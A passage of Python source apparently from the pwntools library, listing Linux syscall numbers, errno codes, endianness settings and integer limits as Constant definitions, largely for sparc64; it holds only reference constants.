Constant('SYS_setresuid32',108) SYS_setreuid = Constant('SYS_setreuid',126) SYS_setreuid32 = Constant('SYS_setreuid32',72) SYS_setrlimit = Constant('SYS_setrlimit',145) SYS_set_robust_list = Constant('SYS_set_robust_list',300) SYS_setsid = Constant('SYS_setsid',175) SYS_setsockopt = Constant('SYS_setsockopt',355) SYS_set_tid_address = Constant('SYS_set_tid_address',166) SYS_settimeofday = Constant('SYS_settimeofday',122) SYS_setuid = Constant('SYS_setuid',23) SYS_setuid32 = Constant('SYS_setuid32',87) SYS_setxattr = Constant('SYS_setxattr',169) SYS_sgetmask = Constant('SYS_sgetmask',199) SYS_shmat = Constant('SYS_shmat',397) SYS_shmctl = Constant('SYS_shmctl',396) SYS_shmdt = Constant('SYS_shmdt',398) SYS_shmget = Constant('SYS_shmget',395) SYS_shutdown = Constant('SYS_shutdown',134) SYS_sigaction = Constant('SYS_sigaction',198) SYS_sigaltstack = Constant('SYS_sigaltstack',28) SYS_signal = Constant('SYS_signal',48) SYS_signalfd = Constant('SYS_signalfd',311) SYS_signalfd4 = Constant('SYS_signalfd4',317) SYS_sigpending = Constant('SYS_sigpending',183) SYS_sigprocmask = Constant('SYS_sigprocmask',220) SYS_sigreturn = Constant('SYS_sigreturn',216) SYS_sigsuspend = Constant('SYS_sigsuspend',201) SYS_socket = Constant('SYS_socket',97) SYS_socketcall = Constant('SYS_socketcall',206) SYS_socketpair = Constant('SYS_socketpair',135) SYS_ssetmask = Constant('SYS_ssetmask',200) SYS_stat = Constant('SYS_stat',38) SYS_stat64 = Constant('SYS_stat64',139) SYS_statfs = Constant('SYS_statfs',157) SYS_statfs64 = Constant('SYS_statfs64',234) SYS_statx = Constant('SYS_statx',360) SYS_stime = Constant('SYS_stime',233) SYS_swapoff = Constant('SYS_swapoff',213) SYS_swapon = Constant('SYS_swapon',85) SYS_symlink = Constant('SYS_symlink',57) SYS_symlinkat = Constant('SYS_symlinkat',293) SYS_sync = Constant('SYS_sync',36) SYS_syncfs = Constant('SYS_syncfs',335) SYS__sysctl = Constant('SYS__sysctl',251) SYS_sysfs = Constant('SYS_sysfs',226) SYS_sysinfo = Constant('SYS_sysinfo',214) SYS_syslog = Constant('SYS_syslog',207) SYS_sys_setaltroot = Constant('SYS_sys_setaltroot',280) SYS_tgkill = Constant('SYS_tgkill',211) SYS_time = Constant('SYS_time',231) SYS_timer_create = Constant('SYS_timer_create',266) SYS_timer_delete = Constant('SYS_timer_delete',265) SYS_timerfd = Constant('SYS_timerfd',312) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',316) SYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',410) SYS_timerfd_settime = Constant('SYS_timerfd_settime',315) SYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',411) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',264) SYS_timer_gettime = Constant('SYS_timer_gettime',263) SYS_timer_gettime64 = Constant('SYS_timer_gettime64',408) SYS_timer_settime = Constant('SYS_timer_settime',262) SYS_timer_settime64 = Constant('SYS_timer_settime64',409) SYS_times = Constant('SYS_times',43) SYS_tkill = Constant('SYS_tkill',187) SYS_truncate = Constant('SYS_truncate',129) SYS_truncate64 = Constant('SYS_truncate64',77) SYS_umask = Constant('SYS_umask',60) SYS_umount = Constant('SYS_umount',159) SYS_umount2 = Constant('SYS_umount2',45) SYS_uname = Constant('SYS_uname',189) SYS_unlink = Constant('SYS_unlink',10) SYS_unlinkat = Constant('SYS_unlinkat',290) SYS_unshare = Constant('SYS_unshare',299) SYS_uselib = Constant('SYS_uselib',203) SYS_userfaultfd = Constant('SYS_userfaultfd',352) SYS_ustat = Constant('SYS_ustat',168) SYS_utime = Constant('SYS_utime',30) SYS_utimensat = Constant('SYS_utimensat',310) SYS_utimensat_time64 = Constant('SYS_utimensat_time64',412) SYS_utimes = Constant('SYS_utimes',138) SYS_vfork = Constant('SYS_vfork',66) SYS_vhangup = Constant('SYS_vhangup',76) SYS_wait4 = Constant('SYS_wait4',7) SYS_waitid = Constant('SYS_waitid',279) SYS_waitpid = Constant('SYS_waitpid',212) SYS_write = Constant('SYS_write',4) SYS_writev = Constant('SYS_writev',121) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/sparc64.py000066400000000000000000001714421507273764500245150ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_exit = Constant('__NR_exit',1) __NR_fork = Constant('__NR_fork',2) __NR_read = Constant('__NR_read',3) __NR_write = Constant('__NR_write',4) __NR_open = Constant('__NR_open',5) __NR_close = Constant('__NR_close',6) __NR_wait4 = Constant('__NR_wait4',7) __NR_creat = Constant('__NR_creat',8) __NR_link = Constant('__NR_link',9) __NR_unlink = Constant('__NR_unlink',10) __NR_execv = Constant('__NR_execv',11) __NR_chdir = Constant('__NR_chdir',12) __NR_chown = Constant('__NR_chown',13) __NR_mknod = Constant('__NR_mknod',14) __NR_chmod = Constant('__NR_chmod',15) __NR_lchown = Constant('__NR_lchown',16) __NR_brk = Constant('__NR_brk',17) __NR_perfctr = Constant('__NR_perfctr',18) __NR_lseek = Constant('__NR_lseek',19) __NR_getpid = Constant('__NR_getpid',20) __NR_capget = Constant('__NR_capget',21) __NR_capset = Constant('__NR_capset',22) __NR_setuid = Constant('__NR_setuid',23) __NR_getuid = Constant('__NR_getuid',24) __NR_ptrace = Constant('__NR_ptrace',26) __NR_alarm = Constant('__NR_alarm',27) __NR_sigaltstack = Constant('__NR_sigaltstack',28) __NR_pause = Constant('__NR_pause',29) __NR_utime = Constant('__NR_utime',30) __NR_access = Constant('__NR_access',33) __NR_nice = Constant('__NR_nice',34) __NR_sync = Constant('__NR_sync',36) __NR_kill = Constant('__NR_kill',37) __NR_stat = Constant('__NR_stat',38) __NR_sendfile = Constant('__NR_sendfile',39) __NR_lstat = Constant('__NR_lstat',40) __NR_dup = Constant('__NR_dup',41) __NR_pipe = Constant('__NR_pipe',42) __NR_times = Constant('__NR_times',43) __NR_umount2 = Constant('__NR_umount2',45) __NR_setgid = Constant('__NR_setgid',46) __NR_getgid = Constant('__NR_getgid',47) __NR_signal = Constant('__NR_signal',48) __NR_geteuid = Constant('__NR_geteuid',49) __NR_getegid = Constant('__NR_getegid',50) __NR_acct = Constant('__NR_acct',51) __NR_memory_ordering = Constant('__NR_memory_ordering',52) __NR_ioctl = Constant('__NR_ioctl',54) __NR_reboot = Constant('__NR_reboot',55) __NR_symlink = Constant('__NR_symlink',57) __NR_readlink = Constant('__NR_readlink',58) __NR_execve = Constant('__NR_execve',59) __NR_umask = Constant('__NR_umask',60) __NR_chroot = Constant('__NR_chroot',61) __NR_fstat = Constant('__NR_fstat',62) __NR_getpagesize = Constant('__NR_getpagesize',64) __NR_msync = Constant('__NR_msync',65) __NR_vfork = Constant('__NR_vfork',66) __NR_pread = Constant('__NR_pread',67) __NR_pwrite = Constant('__NR_pwrite',68) __NR_mmap = Constant('__NR_mmap',71) __NR_munmap = Constant('__NR_munmap',73) __NR_mprotect = Constant('__NR_mprotect',74) __NR_madvise = Constant('__NR_madvise',75) __NR_vhangup = Constant('__NR_vhangup',76) __NR_mincore = Constant('__NR_mincore',78) __NR_getgroups = Constant('__NR_getgroups',79) __NR_setgroups = Constant('__NR_setgroups',80) __NR_getpgrp = Constant('__NR_getpgrp',81) __NR_setitimer = Constant('__NR_setitimer',83) __NR_swapon = Constant('__NR_swapon',85) __NR_getitimer = Constant('__NR_getitimer',86) __NR_sethostname = Constant('__NR_sethostname',88) __NR_dup2 = Constant('__NR_dup2',90) __NR_fcntl = Constant('__NR_fcntl',92) __NR_select = Constant('__NR_select',93) __NR_fsync = Constant('__NR_fsync',95) __NR_setpriority = Constant('__NR_setpriority',96) __NR_socket = Constant('__NR_socket',97) __NR_connect = Constant('__NR_connect',98) __NR_accept = Constant('__NR_accept',99) __NR_getpriority = Constant('__NR_getpriority',100) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',101) __NR_rt_sigaction = Constant('__NR_rt_sigaction',102) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',103) __NR_rt_sigpending = Constant('__NR_rt_sigpending',104) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',105) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',106) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',107) __NR_setresuid = Constant('__NR_setresuid',108) __NR_getresuid = Constant('__NR_getresuid',109) __NR_setresgid = Constant('__NR_setresgid',110) __NR_getresgid = Constant('__NR_getresgid',111) __NR_recvmsg = Constant('__NR_recvmsg',113) __NR_sendmsg = Constant('__NR_sendmsg',114) __NR_gettimeofday = Constant('__NR_gettimeofday',116) __NR_getrusage = Constant('__NR_getrusage',117) __NR_getsockopt = Constant('__NR_getsockopt',118) __NR_getcwd = Constant('__NR_getcwd',119) __NR_readv = Constant('__NR_readv',120) __NR_writev = Constant('__NR_writev',121) __NR_settimeofday = Constant('__NR_settimeofday',122) __NR_fchown = Constant('__NR_fchown',123) __NR_fchmod = Constant('__NR_fchmod',124) __NR_recvfrom = Constant('__NR_recvfrom',125) __NR_setreuid = Constant('__NR_setreuid',126) __NR_setregid = Constant('__NR_setregid',127) __NR_rename = Constant('__NR_rename',128) __NR_truncate = Constant('__NR_truncate',129) __NR_ftruncate = Constant('__NR_ftruncate',130) __NR_flock = Constant('__NR_flock',131) __NR_sendto = Constant('__NR_sendto',133) __NR_shutdown = Constant('__NR_shutdown',134) __NR_socketpair = Constant('__NR_socketpair',135) __NR_mkdir = Constant('__NR_mkdir',136) __NR_rmdir = Constant('__NR_rmdir',137) __NR_utimes = Constant('__NR_utimes',138) __NR_sendfile64 = Constant('__NR_sendfile64',140) __NR_getpeername = Constant('__NR_getpeername',141) __NR_futex = Constant('__NR_futex',142) __NR_gettid = Constant('__NR_gettid',143) __NR_getrlimit = Constant('__NR_getrlimit',144) __NR_setrlimit = Constant('__NR_setrlimit',145) __NR_pivot_root = Constant('__NR_pivot_root',146) __NR_prctl = Constant('__NR_prctl',147) __NR_pciconfig_read = Constant('__NR_pciconfig_read',148) __NR_pciconfig_write = Constant('__NR_pciconfig_write',149) __NR_getsockname = Constant('__NR_getsockname',150) __NR_poll = Constant('__NR_poll',153) __NR_getdents64 = Constant('__NR_getdents64',154) __NR_statfs = Constant('__NR_statfs',157) __NR_fstatfs = Constant('__NR_fstatfs',158) __NR_umount = Constant('__NR_umount',159) __NR_sched_set_affinity = Constant('__NR_sched_set_affinity',160) __NR_sched_get_affinity = Constant('__NR_sched_get_affinity',161) __NR_getdomainname = Constant('__NR_getdomainname',162) __NR_setdomainname = Constant('__NR_setdomainname',163) __NR_utrap_install = Constant('__NR_utrap_install',164) __NR_quotactl = Constant('__NR_quotactl',165) __NR_set_tid_address = Constant('__NR_set_tid_address',166) __NR_mount = Constant('__NR_mount',167) __NR_ustat = Constant('__NR_ustat',168) __NR_setxattr = Constant('__NR_setxattr',169) __NR_lsetxattr = Constant('__NR_lsetxattr',170) __NR_fsetxattr = Constant('__NR_fsetxattr',171) __NR_getxattr = Constant('__NR_getxattr',172) __NR_lgetxattr = Constant('__NR_lgetxattr',173) __NR_getdents = Constant('__NR_getdents',174) __NR_setsid = Constant('__NR_setsid',175) __NR_fchdir = Constant('__NR_fchdir',176) __NR_fgetxattr = Constant('__NR_fgetxattr',177) __NR_listxattr = Constant('__NR_listxattr',178) __NR_llistxattr = Constant('__NR_llistxattr',179) __NR_flistxattr = Constant('__NR_flistxattr',180) __NR_removexattr = Constant('__NR_removexattr',181) __NR_lremovexattr = Constant('__NR_lremovexattr',182) __NR_sigpending = Constant('__NR_sigpending',183) __NR_query_module = Constant('__NR_query_module',184) __NR_setpgid = Constant('__NR_setpgid',185) __NR_fremovexattr = Constant('__NR_fremovexattr',186) __NR_tkill = Constant('__NR_tkill',187) __NR_exit_group = Constant('__NR_exit_group',188) __NR_uname = Constant('__NR_uname',189) __NR_init_module = Constant('__NR_init_module',190) __NR_personality = Constant('__NR_personality',191) __NR_remap_file_pages = Constant('__NR_remap_file_pages',192) __NR_epoll_create = Constant('__NR_epoll_create',193) __NR_epoll_ctl = Constant('__NR_epoll_ctl',194) __NR_epoll_wait = Constant('__NR_epoll_wait',195) __NR_getppid = Constant('__NR_getppid',197) __NR_sigaction = Constant('__NR_sigaction',198) __NR_sgetmask = Constant('__NR_sgetmask',199) __NR_ssetmask = Constant('__NR_ssetmask',200) __NR_sigsuspend = Constant('__NR_sigsuspend',201) __NR_oldlstat = Constant('__NR_oldlstat',202) __NR_uselib = Constant('__NR_uselib',203) __NR_readdir = Constant('__NR_readdir',204) __NR_readahead = Constant('__NR_readahead',205) __NR_socketcall = Constant('__NR_socketcall',206) __NR_syslog = Constant('__NR_syslog',207) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',208) __NR_fadvise64 = Constant('__NR_fadvise64',209) __NR_fadvise64_64 = Constant('__NR_fadvise64_64',210) __NR_tgkill = Constant('__NR_tgkill',211) __NR_waitpid = Constant('__NR_waitpid',212) __NR_swapoff = Constant('__NR_swapoff',213) __NR_sysinfo = Constant('__NR_sysinfo',214) __NR_ipc = Constant('__NR_ipc',215) __NR_sigreturn = Constant('__NR_sigreturn',216) __NR_clone = Constant('__NR_clone',217) __NR_adjtimex = Constant('__NR_adjtimex',219) __NR_sigprocmask = Constant('__NR_sigprocmask',220) __NR_create_module = Constant('__NR_create_module',221) __NR_delete_module = Constant('__NR_delete_module',222) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',223) __NR_getpgid = Constant('__NR_getpgid',224) __NR_bdflush = Constant('__NR_bdflush',225) __NR_sysfs = Constant('__NR_sysfs',226) __NR_afs_syscall = Constant('__NR_afs_syscall',227) __NR_setfsuid = Constant('__NR_setfsuid',228) __NR_setfsgid = Constant('__NR_setfsgid',229) __NR__newselect = Constant('__NR__newselect',230) __NR_stime = Constant('__NR_stime',233) __NR_statfs64 = Constant('__NR_statfs64',234) __NR_fstatfs64 = Constant('__NR_fstatfs64',235) __NR__llseek = Constant('__NR__llseek',236) __NR_mlock = Constant('__NR_mlock',237) __NR_munlock = Constant('__NR_munlock',238) __NR_mlockall = Constant('__NR_mlockall',239) __NR_munlockall = Constant('__NR_munlockall',240) __NR_sched_setparam = Constant('__NR_sched_setparam',241) __NR_sched_getparam = Constant('__NR_sched_getparam',242) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',243) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',244) __NR_sched_yield = Constant('__NR_sched_yield',245) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',246) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',247) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',248) __NR_nanosleep = Constant('__NR_nanosleep',249) __NR_mremap = Constant('__NR_mremap',250) __NR__sysctl = Constant('__NR__sysctl',251) __NR_getsid = Constant('__NR_getsid',252) __NR_fdatasync = Constant('__NR_fdatasync',253) __NR_nfsservctl = Constant('__NR_nfsservctl',254) __NR_aplib = Constant('__NR_aplib',255) __NR_clock_settime = Constant('__NR_clock_settime',256) __NR_clock_gettime = Constant('__NR_clock_gettime',257) __NR_clock_getres = Constant('__NR_clock_getres',258) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',259) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',260) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',261) __NR_timer_settime = Constant('__NR_timer_settime',262) __NR_timer_gettime = Constant('__NR_timer_gettime',263) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',264) __NR_timer_delete = Constant('__NR_timer_delete',265) __NR_timer_create = Constant('__NR_timer_create',266) __NR_io_setup = Constant('__NR_io_setup',268) __NR_io_destroy = Constant('__NR_io_destroy',269) __NR_io_submit = Constant('__NR_io_submit',270) __NR_io_cancel = Constant('__NR_io_cancel',271) __NR_io_getevents = Constant('__NR_io_getevents',272) __NR_mq_open = Constant('__NR_mq_open',273) __NR_mq_unlink = Constant('__NR_mq_unlink',274) __NR_mq_timedsend = Constant('__NR_mq_timedsend',275) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',276) __NR_mq_notify = Constant('__NR_mq_notify',277) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',278) __NR_waitid = Constant('__NR_waitid',279) __NR_add_key = Constant('__NR_add_key',281) __NR_request_key = Constant('__NR_request_key',282) __NR_keyctl = Constant('__NR_keyctl',283) __NR_openat = Constant('__NR_openat',284) __NR_mkdirat = Constant('__NR_mkdirat',285) __NR_mknodat = Constant('__NR_mknodat',286) __NR_fchownat = Constant('__NR_fchownat',287) __NR_futimesat = Constant('__NR_futimesat',288) __NR_fstatat64 = Constant('__NR_fstatat64',289) __NR_unlinkat = Constant('__NR_unlinkat',290) __NR_renameat = Constant('__NR_renameat',291) __NR_linkat = Constant('__NR_linkat',292) __NR_symlinkat = Constant('__NR_symlinkat',293) __NR_readlinkat = Constant('__NR_readlinkat',294) __NR_fchmodat = Constant('__NR_fchmodat',295) __NR_faccessat = Constant('__NR_faccessat',296) __NR_pselect6 = Constant('__NR_pselect6',297) __NR_ppoll = Constant('__NR_ppoll',298) __NR_unshare = Constant('__NR_unshare',299) __NR_set_robust_list = Constant('__NR_set_robust_list',300) __NR_get_robust_list = Constant('__NR_get_robust_list',301) __NR_migrate_pages = Constant('__NR_migrate_pages',302) __NR_mbind = Constant('__NR_mbind',303) __NR_get_mempolicy = Constant('__NR_get_mempolicy',304) __NR_set_mempolicy = Constant('__NR_set_mempolicy',305) __NR_kexec_load = Constant('__NR_kexec_load',306) __NR_move_pages = Constant('__NR_move_pages',307) __NR_getcpu = Constant('__NR_getcpu',308) __NR_epoll_pwait = Constant('__NR_epoll_pwait',309) __NR_utimensat = Constant('__NR_utimensat',310) __NR_signalfd = Constant('__NR_signalfd',311) __NR_timerfd = Constant('__NR_timerfd',312) __NR_eventfd = Constant('__NR_eventfd',313) __NR_fallocate = Constant('__NR_fallocate',314) __NR_timerfd_settime = Constant('__NR_timerfd_settime',315) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',316) __NR_signalfd4 = Constant('__NR_signalfd4',317) __NR_eventfd2 = Constant('__NR_eventfd2',318) __NR_epoll_create1 = Constant('__NR_epoll_create1',319) __NR_dup3 = Constant('__NR_dup3',320) __NR_pipe2 = Constant('__NR_pipe2',321) __NR_inotify_init1 = Constant('__NR_inotify_init1',322) __NR_accept4 = Constant('__NR_accept4',323) __NR_preadv = Constant('__NR_preadv',324) __NR_pwritev = Constant('__NR_pwritev',325) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',326) __NR_perf_event_open = Constant('__NR_perf_event_open',327) __NR_recvmmsg = Constant('__NR_recvmmsg',328) __NR_fanotify_init = Constant('__NR_fanotify_init',329) __NR_fanotify_mark = Constant('__NR_fanotify_mark',330) __NR_prlimit64 = Constant('__NR_prlimit64',331) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',332) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',333) __NR_clock_adjtime = Constant('__NR_clock_adjtime',334) __NR_syncfs = Constant('__NR_syncfs',335) __NR_sendmmsg = Constant('__NR_sendmmsg',336) __NR_setns = Constant('__NR_setns',337) __NR_process_vm_readv = Constant('__NR_process_vm_readv',338) __NR_process_vm_writev = Constant('__NR_process_vm_writev',339) __NR_kern_features = Constant('__NR_kern_features',340) __NR_kcmp = Constant('__NR_kcmp',341) __NR_finit_module = Constant('__NR_finit_module',342) __NR_sched_setattr = Constant('__NR_sched_setattr',343) __NR_sched_getattr = Constant('__NR_sched_getattr',344) __NR_renameat2 = Constant('__NR_renameat2',345) __NR_seccomp = Constant('__NR_seccomp',346) __NR_getrandom = Constant('__NR_getrandom',347) __NR_memfd_create = Constant('__NR_memfd_create',348) __NR_bpf = Constant('__NR_bpf',349) __NR_execveat = Constant('__NR_execveat',350) __NR_membarrier = Constant('__NR_membarrier',351) __NR_userfaultfd = Constant('__NR_userfaultfd',352) __NR_bind = Constant('__NR_bind',353) __NR_listen = Constant('__NR_listen',354) __NR_setsockopt = Constant('__NR_setsockopt',355) __NR_mlock2 = Constant('__NR_mlock2',356) __NR_copy_file_range = Constant('__NR_copy_file_range',357) __NR_preadv2 = Constant('__NR_preadv2',358) __NR_pwritev2 = Constant('__NR_pwritev2',359) __NR_statx = Constant('__NR_statx',360) __NR_io_pgetevents = Constant('__NR_io_pgetevents',361) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',362) __NR_pkey_alloc = Constant('__NR_pkey_alloc',363) __NR_pkey_free = Constant('__NR_pkey_free',364) __NR_rseq = Constant('__NR_rseq',365) __NR_semtimedop = Constant('__NR_semtimedop',392) __NR_semget = Constant('__NR_semget',393) __NR_semctl = Constant('__NR_semctl',394) __NR_shmget = Constant('__NR_shmget',395) __NR_shmctl = Constant('__NR_shmctl',396) __NR_shmat = Constant('__NR_shmat',397) __NR_shmdt = Constant('__NR_shmdt',398) __NR_msgget = Constant('__NR_msgget',399) __NR_msgsnd = Constant('__NR_msgsnd',400) __NR_msgrcv = Constant('__NR_msgrcv',401) __NR_msgctl = Constant('__NR_msgctl',402) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_openat2 = Constant('__NR_openat2',437) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',4321) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',4321) __WORDSIZE = Constant('__WORDSIZE',32) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = 